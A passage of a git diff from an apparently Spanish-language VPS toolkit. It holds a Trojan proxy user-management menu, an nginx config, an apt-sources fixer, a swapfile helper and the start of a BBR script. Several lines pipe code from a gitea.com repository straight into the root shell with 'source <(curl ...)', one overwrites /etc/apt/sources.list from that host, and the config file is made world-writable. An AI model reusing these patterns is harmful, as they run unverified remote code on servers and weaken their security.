ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install figlet............... $ESTATUS " +#lolcat +apt-get install lolcat -y &>/dev/null +sudo gem install lolcat &>/dev/null +[[ $(dpkg --get-selections|grep -w "lolcat"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "lolcat"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install lolcat............... $ESTATUS " + +echo -e "$BARRA" +echo -e "\033[92m La instalacion de paquetes necesarios a finalizado" +echo -e "$BARRA" +echo -e "\033[97m Si la instalacion de paquetes tiene fallas" +echo -ne "\033[97m Puede intentar de nuevo [s/n]: " +read inst +[[ $inst = @(s|S|y|Y) ]] && install_ini +} + + +enon(){ +echo "source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu/mod-v2ray.sh)" > /bin/troj.sh +chmod +x /bin/troj.sh + clear + echo -e $barra + blanco " Se ha agregado un autoejecutor en el Sector de Inicios Rapidos" + echo -e $barra + blanco " Para Acceder al menu Rapido \n Utilize * troj.sh * !!!" + echo -e $barra + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mSi deseas desabilitar esta opcion, apagala" + echo -e " Y te recomiendo, no alterar nada en este menu, para" + echo -e " Evitar Errores Futuros" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + echo -e $barra + continuar + read foo +} +enoff(){ +rm -f /bin/v2r.sh + echo -e $barra + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mSe ha Desabilitado el menu Rapido de troj.sh" + echo -e " Y te recomiendo, no alterar nada en este menu, para" + echo -e " Evitar Errores Futuros" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + echo -e $barra + continuar + read foo +} + +enttrada () { + + while : + do + clear + echo -e $barra + blanco " Ajustes e Entrasda Rapida de Menu TROJAN" + echo -e $barra + col "1)" "Habilitar troj.sh, Como entrada Rapida" + col "2)" "Eliminar troj.sh, Como entrada Rapida" + echo -e $barra + col "0)" "Volver" + echo -e $barra + blanco "opcion" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && break + [[ $opcion = 0 ]] && break + + case $opcion in + 1)enon;; + 2)enoff;; + *) blanco " solo numeros de 0 a 2" && sleep 0.3;; + esac + done + +} + + + +on_off_res(){ + if [[ $(cat $trojdir/conf | grep "autBackup" | cut -d " " -f2) = "0" ]]; then + echo -e "\033[0;31m[off]" + else + echo -e "\033[1;92m[on]" + fi + } + +blanco(){ + [[ ! $2 = 0 ]] && { + echo -e "\033[1;37m$1\033[0m" + } || { + echo -ne " \033[1;37m$1:\033[0m " + } +} + +col(){ + + nom=$(printf '%-55s' "\033[0;92m${1} \033[0;31m ➣ \033[1;37m${2}") + echo -e " $nom\033[0;31m${3} \033[0;92m${4}\033[0m" +} + +col2(){ + + echo -e " \033[1;91m$1\033[0m \033[1;37m$2\033[0m" +} + +vacio(){ + + blanco "\n no se puede ingresar campos vacios..." +} + +cancelar(){ + + echo -e "\n \033[3;49;31minstalacion cancelada...\033[0m" +} + +continuar(){ + + echo -e " \033[3;49;32mEnter para continuar...\033[0m" +} + +title2(){ +trojanports=`lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | grep trojan | awk '{print substr($9,3); }' > /tmp/trojan.txt && echo | cat /tmp/trojan.txt | tr '\n' ' ' > /etc/adm-lite/trojanports.txt && cat /etc/adm-lite/trojanports.txt` > /dev/null 2>&1 + v1=$(cat /etc/adm-lite/v-local.log) + v2=$(cat /bin/ejecutar/v-new.log) + echo -e "\033[7;49;35m =====>>►► 🐲 Menu TROJAN ChumoGH💥VPS 🐲 ◄◄<<===== \033[0m" + echo -e $barra + [[ $v1 = $v2 ]] && echo -e " \e[97m\033[1;41mProyecto Trojan by @drowkid01 [$v1] \033[0m" || echo -e " \e[97m\033[1;41mProyecto Trojan by @drowkid01 [$v1] >> \033[1;92m[$v2] \033[0m" + [[ $trojanports > 0 ]] && echo -e " \e[97m\033[1;41mPuerta Activa en menu : \033[0m \033[3;32m $trojanports\033[3;32m" || echo -e " \e[97m\033[1;41mERROR A INICIAR TROJAN : \033[0m \033[3;32m FAIL\033[3;32m" +} + +title(){ + echo -e $barra + echo -e " >>>>>>> Fecha Actual $(date '+%d-%m-%Y') <<<<<<<<<<<" + blanco "$1" + echo -e $barra +} + +userDat(){ + #echo -e " >>>>>>> Fecha Actual $(date '+%d-%m-%Y') <<<<<<<<<<<" + blanco " N° Usuarios fech exp dias" + echo -e $barra +} + +log_traff () { + +tail -f /usr/local/etc/trojan/config.json + + +} + + +add_user(){ +autoDel + unset seg + seg=$(date +%s) + while : + do + clear + nick="$(cat $config | grep ',"')" + users="$(cat < ${user_conf}adm) $(echo $nick|sed -e 's/[^a-z0-9 -]//ig')" + title " CREAR USUARIO Trojan" + userDat + n=0 + for i in $users + do + unset DateExp + unset seg_exp + unset exp + + [[ $i = "chumoghscript" ]] && { + n=0 + i="ADM-SCRIPT" + a='◈' + DateExp="【 I N D E F I N I D O 】" + col "$a)" "$i" "$DateExp" + + } || { + [[ $i = "$(cat < ${user_conf}adm)" ]] && { + n=0 + i="$(cat < ${user_conf}adm)" + a='◈' + DateExp="【 I N D E F I N I D O 】" + col "$a)" "$i" "$DateExp" + } || { + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + col "$n)" "$i" "$DateExp" "$exp" + } + } + let n++ + done + echo -e $barra + col "0)" "VOLVER" + echo -e $barra + blanco "Ingresa Nombre de USUARIO :" 0 + read usser + [[ -z $usser ]] && vacio && sleep 0.3 && continue + [[ $usser = 0 ]] && break + [[ -z $(echo "$users" | grep $usser) ]] && { + opcion=$usser + echo -e $barra + blanco "DURACION EN DIAS" 0 + read dias + espacios=$(echo "$opcion" | tr -d '[[:space:]]') + opcion=$espacios + mv $config $temp + movetm=$(echo -e "$opcion" | sed 's/^/,"/;s/$/"/') + sed "10i\ $movetm" $temp > $config + #echo -e "$opcion" | sed 's/^/,"/;s/$/"/' + sed -i "/usser/d" $user_conf + echo "$opcion | $usser | $(date '+%y-%m-%d' -d " +$dias days")" >> $user_conf + chmod 777 $config + rm $temp + clear + echo -e $barra + blanco " Usuario $usser creado con exito" + echo -e $barra + autoDel + killall trojan > /dev/null + screen -dmS trojanserv trojan /usr/local/etc/trojan/config.json + sleep 0.3 + } || echo " USUARIO YA EXISTE " && sleep 1 + done +} + +renew(){ + while : + do + unset user + clear + title " RENOVAR USUARIOS" + userDat + userEpx=$(cut -d " " -f1 $user_conf) + n=1 + for i in $userEpx + do + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + [[ "$seg" -gt "$seg_exp" ]] && { + col "$n)" "$i" "$DateExp" "\033[0;31m[Exp]" + uid[$n]="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f2|tr -d '[[:space:]]')" + user[$n]=$i + let n++ + } + done + [[ -z ${user[1]} ]] && blanco " No hay expirados" + echo -e $barra + col "0)" "VOLVER" + echo -e $barra + blanco "NUMERO DE USUARIO A RENOVAR" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + [[ $opcion = 0 ]] && break + + [[ ! $opcion =~ $numero ]] && { + blanco " solo numeros apartir de 1" + sleep 0.3 + } || { + [[ $opcion>=${n} ]] && { + let n-- + blanco "solo numero entre 1 y $n" + sleep 0.3 + } || { + blanco "DURACION EN DIAS" 0 + read dias + mv $config $temp + movetm=$(echo -e "${user[$opcion]}" | sed 's/^/,"/;s/$/"/') + sed "10i\ $movetm" $temp > $config + sed -i "/${user[$opcion]}/d" $user_conf + echo "${user[$opcion]} | ${user[$opcion]} | $(date '+%y-%m-%d' -d " +$dias days")" >> $user_conf + chmod 777 $config + rm -f $temp + clear + echo -e $barra + blanco " Usuario > ${user[$opcion]} renovado hasta $(date '+%y-%m-%d' -d " +$dias days")" + sleep 5s + } + } + done +killall trojan > /dev/null +screen -dmS trojanserv trojan /usr/local/etc/trojan/config.json +continuar +read foo +} + +autoDel(){ +source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/trojango-sh/trojan-sh/autodel-trojan.sh) + } + +dell_user(){ + unset seg + seg=$(date +%s) + while : + do + clear + nick="$(cat $config | grep ',"')" + users="$(cat < ${user_conf}adm) $(echo $nick|sed -e 's/[^a-z0-9 -]//ig')" + title " ELIMINAR USUARIO TROJAN" + userDat + n=0 + for i in $users + do + userd[$n]=$i + unset DateExp + unset seg_exp + unset exp + + [[ $i = "chumoghscript" ]] && { + i="ADM-SCRIPT" + a='◈' + DateExp="【 I N D E F I N I D O 】" + col "$a)" "$i" "$DateExp" + } || { + + [[ $i = "$(cat < ${user_conf}adm)" ]] && { + i="$(cat < ${user_conf}adm)" + a='◈' + DateExp="【 I N D E F I N I D O 】" + col "$a)" "$i" "$DateExp" + } || { + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + col "$n)" "$i" "$DateExp" "$exp" + } + } + p=$n + let n++ + done + userEpx=$(cut -d " " -f 1 $user_conf) + for i in $userEpx + do + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + [[ "$seg" -gt "$seg_exp" ]] && { + col "$n)" "$i" "$DateExp" "\033[0;31m[Exp]" + expUser[$n]=$i + } + let n++ + done + echo -e $barra + col "0)" "VOLVER" + echo -e $barra + blanco "NUMERO DE USUARIO A ELIMINAR" 0 + read opcion + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + [[ $opcion = 0 ]] && break + + [[ ! $opcion =~ $numero ]] && { + blanco " solo numeros apartir de 1" + sleep 0.3 + } || { + let n-- + [[ $opcion>=${n} ]] && { + blanco "solo numero entre 1 y $n" + sleep 0.3 + } || { + + [[ $opcion>=${p} ]] && { + sed -i "/${expUser[$opcion]}/d" $user_conf + } || { + mv $config $temp + sed -i "/${expUser[$opcion]}/d" $user_conf + sed "/${userd[$opcion]}/ d" $temp > $config + chmod 777 $config + rm $temp + clear + echo -e $barra + blanco " Usuario ${userd[$opcion]}${expUser[$opcion]} eliminado" + echo -e $barra + sleep 0.5s + } + } + + } + done + killall trojan > /dev/null + screen -dmS trojanserv trojan /usr/local/etc/trojan/config.json +} + +bakc() { +clear + while : + do + clear + #col "5)" "\033[1;33mCONFIGURAR Trojan" + echo -e $barra + col "1)" "\033[1;33mRestaurar Copia" + echo -e $barra + col "2)" "\033[1;33mCrear Copia" + echo -e $barra + col "0)" "SALIR \033[0;31m|| $(blanco "Respaldos automaticos") $(on_off_res)" + echo -e $barra + blanco "opcion" 0 + read opcion + case $opcion in + 1)[[ -e config.json ]] && cp config.json /usr/local/etc/trojan/config.json || echo "No existe Copia";; + 2)[[ -e /usr/local/etc/trojan/config.json ]] && cp /usr/local/etc/trojan/config.json config.json || echo "No existe Copia";; + 0) break;; + *) blanco "\n selecione una opcion del 0 al 2" && sleep 0.3;; + esac + done + + +} + +reintro() { +clear + while : + do + clear + #col "5)" "\033[1;33mCONFIGURAR Trojan" + echo -e $barra + col "1)" "\033[1;33mReinstalar Servicio" + echo -e $barra + col "2)" "\033[1;33mReiniciar Servicio" + echo -e $barra + col "3)" "\033[1;33mEditar Manual ( nano )" + echo -e $barra + col "0)" "SALIR \033[0;31m|| $(blanco "Respaldos automaticos") $(on_off_res)" + echo -e $barra + blanco "opcion" 0 + read opcion + case $opcion in + 1) + trojan + ;; + 2) + [[ -e /usr/local/etc/trojan/config.json ]] && { + title "Fichero Interno Configurado" + killall trojan > /dev/null + screen -dmS trojanserv trojan /usr/local/etc/trojan/config.json && blanco "Reinicio Completado Exitosamente " || blanco "Error al Aplicar Reinicio " + } || echo -e "Servicio No instalado Aun" + ;; + 3) + nano /usr/local/etc/trojan/config.json + ;; + 0) break;; + *) blanco "\n selecione una opcion del 0 al 3" && sleep 0.3;; + esac + done + + +continuar +read foo +} + +cattro () { + +clear + while : + do + clear + #col "5)" "\033[1;33mCONFIGURAR Trojan" + echo -e $barra + col "1)" "\033[1;33mMostrar fichero de CONFIG " + echo -e $barra + col "2)" "\033[1;33mEditar Config Manual ( Comando nano )" + echo -e $barra + col "0)" "SALIR \033[0;31m|| $(blanco "Respaldos automaticos") $(on_off_res)" + echo -e $barra + blanco "opcion" 0 + read opcion + case $opcion in + 1) + title "Fichero Interno Configurado" + cat /usr/local/etc/trojan/config.json + blanco "Fin Fichero " + continuar + read foo + ;; + 2) + [[ -e /usr/local/etc/trojan/config.json ]] && { + title "Fichero Interno Configurado" + nano /usr/local/etc/trojan/config.json + killall trojan > /dev/null + screen -dmS trojanserv trojan /usr/local/etc/trojan/config.json && blanco "Reinicio Completado Exitosamente " || blanco "Error al Aplicar Reinicio " + } || echo -e "Servicio No instalado Aun" + ;; + 0) break;; + *) blanco "\n selecione una opcion del 0 al 2" && sleep 0.3;; + esac + done +continuar +} + +view_user(){ +trojanport=`lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | grep trojan | awk '{print substr($9,3); }' > /tmp/trojan.txt && echo | cat /tmp/trojan.txt | tr '\n' ' ' > /etc/adm-lite/trojanports.txt && cat /etc/adm-lite/trojanports.txt`; +trojanport=$(cat /etc/adm-lite/trojanports.txt | sed 's/\s\+/,/g' | cut -d , -f1) + unset seg + seg=$(date +%s) + while : + do + + clear + nick="$(cat $config | grep ',"')" + users="$(echo $nick|sed -e 's/[^a-z0-9 -]//ig')" + title " VER USUARIO TROJAN" + userDat + + n=1 + for i in $users + do + unset DateExp + unset seg_exp + unset exp + [[ $i = "$(cat < ${user_conf}adm)" ]] && { + i="$(cat < ${user_conf}adm)" + DateExp="【 I N D E F I N I D O 】" + } || { + [[ $i = "chumoghscript" ]] && { + i="ADM-SCRIPT" + DateExp="【 I N D E F I N I D O 】" + } || { + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + } + } + + col "$n)" "$i" "$DateExp" "$exp" + let n++ + done + echo -e $barra + col "0)" "VOLVER" + echo -e $barra + blanco "VER DATOS DEL USUARIO" 0 + read opcion + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + [[ $opcion = 0 ]] && break + n=1 + unset i + for i in $users + do + unset DateExp + unset seg_exp + unset exp + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + #col "$n)" "$i" "$DateExp" "$exp" + [[ $n = $opcion ]] && trojanpass=$i && dataEX=$DateExp && dEX=$exp + let n++ + done + let opcion-- + addip=$(wget -qO- ifconfig.me) + echo -e " PARA FINALIZAR AGREGA TU HOST SNI / HOST:Port" + read -p " Host / SNI : " host + [[ -z $host ]] && host="coloca-tu-SNI" + clear&&clear + blanco $barra + blanco " TROJAN LINK CONFIG" + blanco $barra + col "$opcion)" "$trojanpass" "$dataEX" "$dEX" + trojan_conf + blanco $barra + continuar + read foo + done +} + +trojan_conf (){ + echo -e $barra + col2 "Remarks:" "$trojanpass" + col2 "IP-Address:" "$addip" + col2 "Port:" "$trojanport" + col2 "password:" "$trojanpass" + [[ ! -z $host ]] && col2 "Host/SNI:" "$host" + echo -ne "$(msg -verd "") $(msg -verm2 " ") "&& msg -bra "\033[1;41mEn APPS como HTTP Inyector,CUSTOM,Trojan,etc" + echo -e "\033[3;32m trojan://$(echo $trojanpass@$addip:$trojanport?sni=$host#$trojanpass )\033[3;32m" + +} + +main(){ + [[ ! -e $config ]] && { + clear + echo -e $barra + blanco " No se encontro ningun archovo de configracion Trojan" + echo -e $barra + blanco " No instalo Trojan o esta usando\n una vercion diferente!!!" + echo -e $barra + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mSi esta usando una vercion Trojan diferente" + echo -e " y opta por cuntinuar usando este script." + echo -e " Este puede; no funcionar correctamente" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + echo -e $barra + continuar + read foo + } + while : + do + _usor=$(printf '%-8s' "$(free -m | awk 'NR==2{printf "%.2f%%", $3*100/$2 }')") + _usop=$(printf '%-1s' "$(top -bn1 | awk '/Cpu/ { cpu = "" 100 - $8 "%" }; END { print cpu }')") + [[ -e /bin/troj.sh ]] && enrap="\033[1;92m[Encendido]" || enrap="\033[0;31m[Apagado]" + clear + title2 + title " Ram: \033[1;32m$_usor \033[0;31m<<< \033[1;37mMENU Trojan \033[0;31m>>> \033[1;37mCPU: \033[1;32m$_usop" + col "1)" "CREAR USUARIO " + col "2)" "\033[0;92mRENOVAR USUARIO " + col "3)" "\033[0;31mREMOVER USUARIO <->" + col "4)" "VER DATOS DE USUARIOS " + #col "5)" "\033[1;33mCONFIGURAR Trojan" + echo -e $barra + col "6)" "\033[1;33mEntrada Rapida $enrap" + echo -e $barra + col "7)" "\033[1;33mMostrar/Editar Fichero interno" + col "8)" "\033[1;33mMenu Avanzado Trojan" + col "9)" "\033[1;33mCrear Copia de Config Trojan" + echo -e $barra + col "10)" "\033[1;33mMostrar Log del Trafico" + echo -e $barra + col "0)" "SALIR \033[0;31m|| $(blanco "Respaldos automaticos") $(on_off_res)" + echo -e $barra + blanco "opcion" 0 + read opcion + + case $opcion in + 1)add_user;; + 2)renew;; + 3)dell_user;; + 4)view_user;; + 5)settings;; + 6)enttrada;; + 7)cattro;; + 8)reintro;; + 9)bakc;; + 10)log_traff;; + 0) break;; + *) blanco "\n selecione una opcion del 0 al 10" && sleep 0.3;; + esac + done +} + +[[ $1 = "autoDel" ]] && { + autoDel +} || { + autoDel + main +} diff --git a/Recursos/menu/nginx.conf b/Recursos/menu/nginx.conf new file mode 100644 index 0000000..f66b041 --- /dev/null +++ b/Recursos/menu/nginx.conf @@ -0,0 +1,53 @@ +user www-data; + +worker_processes 1; +pid /var/run/nginx.pid; + +events { + multi_accept on; + worker_connections 1024; +} + +http { + gzip on; + gzip_vary on; + gzip_comp_level 5; + gzip_types text/plain application/x-javascript text/xml text/css; + + autoindex on; + sendfile on; + tcp_nopush on; + tcp_nodelay on; + keepalive_timeout 65; + types_hash_max_size 2048; + server_tokens off; + include /etc/nginx/mime.types; + default_type application/octet-stream; + access_log /var/log/nginx/access.log; + error_log /var/log/nginx/error.log; + client_max_body_size 32M; + client_header_buffer_size 8m; + large_client_header_buffers 8 8m; + + fastcgi_buffer_size 8m; + fastcgi_buffers 8 8m; + + fastcgi_read_timeout 600; + + set_real_ip_from 204.93.240.0/24; + set_real_ip_from 204.93.177.0/24; + set_real_ip_from 199.27.128.0/21; + set_real_ip_from 173.245.48.0/20; + set_real_ip_from 103.21.244.0/22; + set_real_ip_from 103.22.200.0/22; + set_real_ip_from 103.31.4.0/22; + set_real_ip_from 141.101.64.0/18; + set_real_ip_from 108.162.192.0/18; + set_real_ip_from 190.93.240.0/20; + set_real_ip_from 188.114.96.0/20; + set_real_ip_from 197.234.240.0/22; + set_real_ip_from 198.41.128.0/17; + real_ip_header CF-Connecting-IP; + + include /etc/nginx/conf.d/*.conf; +} diff --git a/Recursos/menu/sourcesfix.sh b/Recursos/menu/sourcesfix.sh new file mode 100644 index 0000000..20492dc --- /dev/null +++ b/Recursos/menu/sourcesfix.sh @@ -0,0 +1,57 @@ +function fixsources19(){ +echo -e "Reinstalando fuentes (sources)" +curl -o /etc/apt/sources.list https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu/Ubuntu19.10.list && apt-get update && apt-get upgrade -y +echo -e "Reinstalacion completada" +echo -e "\033[1;31mPRESIONE ENTER PARA CONTINUAR\033[0m" +read -p " " +menu +} +function fixsources18(){ +echo -e "Reinstalando fuentes (sources)" +curl -o /etc/apt/sources.list https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu/Ubuntu18.04.list && apt-get update && apt-get upgrade -y +echo -e "Reinstalacion completada" +echo -e "\033[1;31mPRESIONE ENTER PARA CONTINUAR\033[0m" +read -p " " +menu +} +function fixsources16(){ +echo -e "Reinstalando fuentes (sources)" +curl -o /etc/apt/sources.list https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu/Ubuntu16.04.list && apt-get update && apt-get upgrade -y +echo -e "Reinstalacion completada" +echo -e "\033[1;31mPRESIONE ENTER PARA CONTINUAR\033[0m" +read -p " " +menu +} +function fixsources(){ +clear +if [[ $1 == "" ]] +then +figlet -p -f slant < /root/name | lolcat +echo -e "\033[1;37m 【 ★ ChumoGH Packet 2020 ★ 】\033[0m" +echo -e "[\033[1;31m-\033[1;33m]\033[1;30m ───────────────── /// ─────────────────\033[1;33m" +echo -e "\033[1;37m ChumoGH-ADM @ FIX SOURCES \033[0m" +echo -e "[\033[1;31m-\033[1;33m]\033[1;31m ───────────────── /// ─────────────────\033[1;33m" +echo -e "\033[1;37mSeleccione una opcion: Para Salir Ctrl + C\033[1;33m +[\033[1;32m1\033[1;33m] › FIX SOURCES UBUNTU 16.04 \033[1;33m +[\033[1;32m2\033[1;33m] › FIX SOURCES UBUNTU 18.04 \033[1;33m +[\033[1;32m3\033[1;33m] › FIX SOURCES UBUNTU 19.10 \033[1;33m +[\033[1;32m4\033[1;33m] › FIX SOURCES UBUNTU 20.04 \033[1;33m +[\033[1;32m0\033[1;33m] < REGRESAR \033[1;33m" +read -p ": " opcao +else +opcao=$1 +fi +case $opcao in +1) +fixsources16;; +2) +fixsources18;; +3) +fixsources19;; +4) +fixsources20;; +0) +exit;; +esac +} +fixsources diff --git a/Recursos/menu/swapfile.sh b/Recursos/menu/swapfile.sh new file mode 100644 index 0000000..1e330fb --- /dev/null +++ b/Recursos/menu/swapfile.sh @@ -0,0 +1,338 @@ +#!/bin/bash +clear +BARRA="\033[0;49;31m============================================================\033[0m" +echo -e $BARRA +echo -e "\033[7;107;31mEsto le ayudara a crear un archivo swap para su sistema\033[0m" +echo -e $BARRA +echo "Enter para continuar..." +read foo +stsl=$(ps x | grep "limiter"|grep -v grep > /dev/null && echo -e "\033[1;32m◉ " || echo -e "\033[1;31m○ ") +swap=/swapfile +fstab=/etc/fstab +sysctl=/etc/sysctl.conf + +funcion_crear () { +clear +echo -e $BARRA +echo "se recomienda que la memoria swap" +echo "sea de almenos el doble de su memoria ram" +echo -e $BARRA +echo "Seleccione una opcion" +echo "" +echo "1) 2GB" +echo "2) 4GB" +echo "3) 8GB" +echo "" +echo "0) Regresar al inicio" +echo -e $BARRA +echo -n "Opcion:" +read opcion +case $opcion in +1) +clear +echo -e $BARRA +echo "Creando archivo swapfile" +echo -e $BARRA +dd if=/dev/zero of=$swap bs=1MB count=2048 +echo -e $BARRA +echo "Archivo creado" +echo "comprueve detalles en la opcion 2";; +2) +clear +echo -e $BARRA +echo "Creando archivo swapfile" +echo -e $BARRA +dd if=/dev/zero of=$swap bs=1MB count=4096 +echo -e $BARRA +echo "Archivo creado" +echo "comprueve detalles en la opcion 2";; +3) +clear +echo -e $BARRA +echo "Creando archivo swapfile" +echo -e $BARRA +dd if=/dev/zero of=$swap bs=1MB count=8192 +echo -e $BARRA +echo "Archivo creado" +echo "comprueve detalles en la opcion 2";; +0) +echo "";; +*) +echo "" +echo "Solo opciones del 0 al 3" +sleep 2 +funcion_crear;; +esac +} + +funcion_enter () { +echo "" +echo "Enter para continuar" +read foo +} + + +funcion_remove () { +clear +echo -e $BARRA +echo "Se encontro un archivo swap pre-existente" +echo -e $BARRA +echo "desea remover el archivo" +echo "" +echo "1) si" +echo "2) no" +echo -e $BARRA +echo -n "Opcion:" +read opcion +case $opcion in +1) +rm $swap +echo "" +echo "archivo removido" +echo "" +echo "Enter para continuar" +read foo +funcion_crear;; +2) +echo "";; +*) +echo "" +echo "Solo opciones del 1 al 2" +sleep 2 +funcion_remove;; +esac +} + + +funcion_check () { +clear +echo -e $BARRA +echo "Comprobando detalles del archivo" +echo -e $BARRA +sleep 3 +ls -lh $swap +echo -e $BARRA +} + + +funcion_error () { +clear +echo -e $BARRA +echo "No se encontro ningun archivo" +echo "para crear usa la opcion 1" +echo -e $BARRA +} + + +funcion_assign () { +clear +echo -e $BARRA +echo "Asignando permisos y formato" +echo -e $BARRA +sleep 2 +chmod 600 $swap +mkswap $swap +echo -e $BARRA +echo "listo" +} + + +funcion_activar () { +clear +echo -e $BARRA +echo "Como desea activar la memoria swap" +echo -e $BARRA +echo "1) permanente" +echo "2) temporal (asta el proximo reinicio)" +echo "" +echo "0) Regresar al inicio" +echo -e $BARRA +echo -n "Opcion:" +read opcion +case $opcion in +1) +sed -i '/swap/d' $fstab +echo "/swapfile none swap sw 0 0" >> $fstab +swapon $swap +clear +echo -e $BARRA +echo "memoria swap activada" +echo "de forma permanente" +echo -e $BARRA;; +2) +swapon $swap +clear +echo -e $BARRA +echo "memoria swap activada" +echo "asta el proximo reinicio" +echo -e $BARRA;; +0) +echo "";; +*) +echo "" +echo "Solo opciones del 0 al 2" +sleep 2 +funcion_activar +esac +} + + +funcion_prio () { +clear +echo -e $BARRA +echo "Asigne la prioridad swap" +echo -e $BARRA +echo "1) 10" +echo "2) 20 (recomendado)" +echo "3) 30" +echo "4) 40" +echo "5) 50" +echo "6) 60" +echo "7) 70" +echo "8) 80" +echo "9) 90" +echo "10) 100" +echo "" +echo "0) Regresar al inicio" +echo -e $BARRA +echo -n "Opcion:" +read opcion +case $opcion in +1) +clear +echo "vm.swappiness=10" >> $sysctl +echo "swappines asignado en 10" +echo "los cambios se aplicaran" +echo "despues del reinicio";; +2) +clear +echo "vm.swappiness=20" >> $sysctl +echo "swappines asignado en 20" +echo "los cambios se aplicaran" +echo "despues del reinicio";; +3) +clear +echo "vm.swappiness=30" >> $sysctl +echo "swappines asignado en 30" +echo "los cambios se aplicaran" +echo "despues del reinicio";; +4) +clear +echo "vm.swappiness=40" >> $sysctl +echo "swappines asignado en 40" +echo "los cambios se aplicaran" +echo "despues del reinicio";; +5) +clear +echo "vm.swappiness=50" >> $sysctl +echo "swappines asignado en 50" +echo "los cambios se aplicaran" +echo "despues del reinicio";; +6) +clear +echo "vm.swappiness=60" >> $sysctl +echo "swappines asignado en 60" +echo "los cambios se aplicaran" +echo "despues del reinicio";; +7) +clear +echo "vm.swappiness=70" >> $sysctl +echo "swappines asignado en 70" +echo "los cambios se aplicaran" +echo "despues del reinicio";; +8) +clear +echo "vm.swappiness=80" >> $sysctl +echo "swappines asignado en 80" +echo "los cambios se aplicaran" +echo "despues del reinicio";; +9) +clear +echo "vm.swappiness=90" >> $sysctl +echo "swappines asignado en 90" +echo "los cambios se aplicaran" +echo "despues del reinicio";; +10) +clear +echo "vm.swappiness=100" >> $sysctl +echo "swappines asignado en 100" +echo "los cambios se aplicaran" +echo "despues del reinicio";; +0) +echo "";; +*) +echo "" +echo "Solo opciones del 0 al 10" +sleep 2 +funcion_prio;; +esac +} + + +while : +do +clear +echo -e $BARRA +echo "Seleccione una opcion" +echo -e $BARRA +echo "1) Crear/Eliminar archivo" +echo "2) Comprovar archivo" +echo "3) Dar formato y permisos al archivo" +echo "4) Activar/Desactvar swap" +echo "5) Prioridad swap" +echo "" +echo "0) Salir" +echo -e $BARRA +echo -n "Opcion:" +read opcion +case $opcion in +1) +if [ -f $swap ]; then +funcion_remove +else +funcion_crear +fi +funcion_enter;; +2) +if [ -f $swap ]; then +funcion_check +else +funcion_error +fi +funcion_enter;; +3) +if [ -f $swap ]; then +funcion_assign +else +funcion_error +fi +funcion_enter;; +4) +if [ -f $swap ]; then +funcion_activar +else +funcion_error +fi +funcion_enter;; +5) +if [ -f $swap ]; then +funcion_prio +else +funcion_error +fi +funcion_enter;; +0) +clear +echo -e $BARRA +echo "script finalizado" +echo -e $BARRA +echo "Enter para continuar" +read foo +clear + exit;; +*) +echo "" + echo "solo opciones del 0 al 5" + sleep 1;; +esac +done diff --git a/Recursos/menu/tcp.sh b/Recursos/menu/tcp.sh new file mode 100644 index 0000000..3c29c54 --- /dev/null +++ b/Recursos/menu/tcp.sh @@ -0,0 +1,689 @@ +#!/bin/bash +#19/12/2019 +source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/msg-bar/msg2) +clear +msg -bar +PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin +export PATH +SCPfrm="/etc/ger-frm" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm} +BARRA1="\e[0;31m--------------------------------------------------------------------\e[0m" +SCPinst="/etc/ger-inst" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm} +#================================================= +# System Required: CentOS 6/7,Debian 8/9,Ubuntu 16+ +# Description: BBR+BBRVersión mágica+BBRplus+Lotserver +# Version: 1.3.1 +# Author: Mil sombras,cx9208 +# Blog: https://www.94ish.me/ +#================================================= + +sh_ver="1.3.1" +github="raw.githubusercontent.com/cx9208/Linux-NetSpeed/master" + +Green_font_prefix="\033[32m" && Red_font_prefix="\033[31m" && Green_background_prefix="\033[42;37m" && Red_background_prefix="\033[41;37m" && Font_color_suffix="\033[0m" +Info="${Green_font_prefix}[Informacion]${Font_color_suffix}" +Error="${Red_font_prefix}[Error]${Font_color_suffix}" +Tip="${Green_font_prefix}[Atencion]${Font_color_suffix}" + +#Instalar el núcleo BBR +installbbr(){ + 